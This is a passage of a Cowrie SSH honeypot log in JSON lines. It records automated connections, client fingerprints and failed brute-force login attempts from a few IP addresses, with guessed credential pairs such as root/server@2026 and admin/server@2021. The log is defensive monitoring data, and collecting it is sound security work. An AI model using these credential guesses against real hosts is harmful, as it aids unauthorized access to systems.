56","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:17:49.515104Z","src_ip":"203.115.100.24","session":"b62b90f861e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"server@2021","message":"login attempt [admin/server@2021] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:17:50.482218Z","src_ip":"203.115.100.24","session":"b62b90f861e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:17:50.958435Z","src_ip":"203.115.100.24","session":"b62b90f861e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"203.115.100.24","src_port":59191,"dst_ip":"10.17.0.5","dst_port":22,"session":"0460d72328cf","protocol":"ssh","message":"New connection: 203.115.100.24:59191 (10.17.0.5:22) [session: 0460d72328cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:17:51.203736Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:17:51.207927Z","src_ip":"203.115.100.24","session":"0460d72328cf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:17:51.442544Z","src_ip":"203.115.100.24","session":"0460d72328cf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"server@2021","message":"login attempt [user/server@2021] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:17:52.405431Z","src_ip":"203.115.100.24","session":"0460d72328cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:17:52.880339Z","src_ip":"203.115.100.24","session":"0460d72328cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"203.115.100.24","src_port":59285,"dst_ip":"10.17.0.5","dst_port":22,"session":"4ecb673d6749","protocol":"ssh","message":"New connection: 203.115.100.24:59285 (10.17.0.5:22) [session: 4ecb673d6749]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:17:53.129510Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:17:53.134150Z","src_ip":"203.115.100.24","session":"4ecb673d6749","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:17:53.367823Z","src_ip":"203.115.100.24","session":"4ecb673d6749","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user2","password":"server@2021","message":"login attempt [user2/server@2021] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:17:54.327280Z","src_ip":"203.115.100.24","session":"4ecb673d6749","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:17:54.816631Z","src_ip":"203.115.100.24","session":"4ecb673d6749","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"203.115.100.24","src_port":59384,"dst_ip":"10.17.0.5","dst_port":22,"session":"1f1448d361f9","protocol":"ssh","message":"New connection: 203.115.100.24:59384 (10.17.0.5:22) [session: 1f1448d361f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:17:55.079076Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:17:55.083688Z","src_ip":"203.115.100.24","session":"1f1448d361f9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:17:55.331507Z","src_ip":"203.115.100.24","session":"1f1448d361f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.39.58.191","src_port":36442,"dst_ip":"159.203.135.109","dst_port":22,"session":"442d7b479776","protocol":"ssh","message":"New connection: 34.39.58.191:36442 (159.203.135.109:22) [session: 442d7b479776]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:17:55.558364Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:17:55.562225Z","src_ip":"34.39.58.191","session":"442d7b479776","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:17:55.636262Z","src_ip":"34.39.58.191","session":"442d7b479776","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"developer","password":"Password@123","message":"login attempt [developer/Password@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:17:55.971182Z","src_ip":"34.39.58.191","session":"442d7b479776","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"server@2022","message":"login attempt [root/server@2022] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:17:56.336279Z","src_ip":"203.115.100.24","session":"1f1448d361f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:17:56.817924Z","src_ip":"203.115.100.24","session":"1f1448d361f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:17:57.049713Z","src_ip":"34.39.58.191","session":"442d7b479776","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"203.115.100.24","src_port":59486,"dst_ip":"10.17.0.5","dst_port":22,"session":"7f7a3c817da2","protocol":"ssh","message":"New connection: 203.115.100.24:59486 (10.17.0.5:22) [session: 7f7a3c817da2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:17:57.056670Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:17:57.061964Z","src_ip":"203.115.100.24","session":"7f7a3c817da2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:17:57.289827Z","src_ip":"203.115.100.24","session":"7f7a3c817da2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"server@2022","message":"login attempt [admin/server@2022] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:17:58.219156Z","src_ip":"203.115.100.24","session":"7f7a3c817da2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:17:58.694828Z","src_ip":"203.115.100.24","session":"7f7a3c817da2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"203.115.100.24","src_port":59591,"dst_ip":"10.17.0.5","dst_port":22,"session":"e8db24814a78","protocol":"ssh","message":"New connection: 203.115.100.24:59591 (10.17.0.5:22) [session: e8db24814a78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:17:58.939774Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:17:58.944492Z","src_ip":"203.115.100.24","session":"e8db24814a78","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:17:59.177320Z","src_ip":"203.115.100.24","session":"e8db24814a78","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"server@2022","message":"login attempt [user/server@2022] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:18:00.145062Z","src_ip":"203.115.100.24","session":"e8db24814a78","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:18:00.618606Z","src_ip":"203.115.100.24","session":"e8db24814a78","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"203.115.100.24","src_port":59694,"dst_ip":"10.17.0.5","dst_port":22,"session":"b1392a9ce6c9","protocol":"ssh","message":"New connection: 203.115.100.24:59694 (10.17.0.5:22) [session: b1392a9ce6c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:18:00.862961Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:18:00.873037Z","src_ip":"203.115.100.24","session":"b1392a9ce6c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:18:01.095278Z","src_ip":"203.115.100.24","session":"b1392a9ce6c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.160.206.186","src_port":44358,"dst_ip":"159.203.135.109","dst_port":22,"session":"63b27e2b8c45","protocol":"ssh","message":"New connection: 43.160.206.186:44358 (159.203.135.109:22) [session: 63b27e2b8c45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:18:01.223090Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:18:01.229057Z","src_ip":"43.160.206.186","session":"63b27e2b8c45","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:18:01.476493Z","src_ip":"43.160.206.186","session":"63b27e2b8c45","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user2","password":"server@2022","message":"login attempt [user2/server@2022] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:18:02.014664Z","src_ip":"203.115.100.24","session":"b1392a9ce6c9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ab123456.","message":"login attempt [root/Ab123456.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:18:02.492684Z","src_ip":"43.160.206.186","session":"63b27e2b8c45","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:18:02.499876Z","src_ip":"203.115.100.24","session":"b1392a9ce6c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"203.115.100.24","src_port":59788,"dst_ip":"10.17.0.5","dst_port":22,"session":"1e5cc688804c","protocol":"ssh","message":"New connection: 203.115.100.24:59788 (10.17.0.5:22) [session: 1e5cc688804c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:18:02.723109Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:18:02.728825Z","src_ip":"203.115.100.24","session":"1e5cc688804c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:18:02.956584Z","src_ip":"203.115.100.24","session":"1e5cc688804c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:18:03.744763Z","src_ip":"43.160.206.186","session":"63b27e2b8c45","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"server@2026","message":"login attempt [root/server@2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:18:03.874314Z","src_ip":"203.115.100.24","session":"1e5cc688804c","protocol":"ssh"}
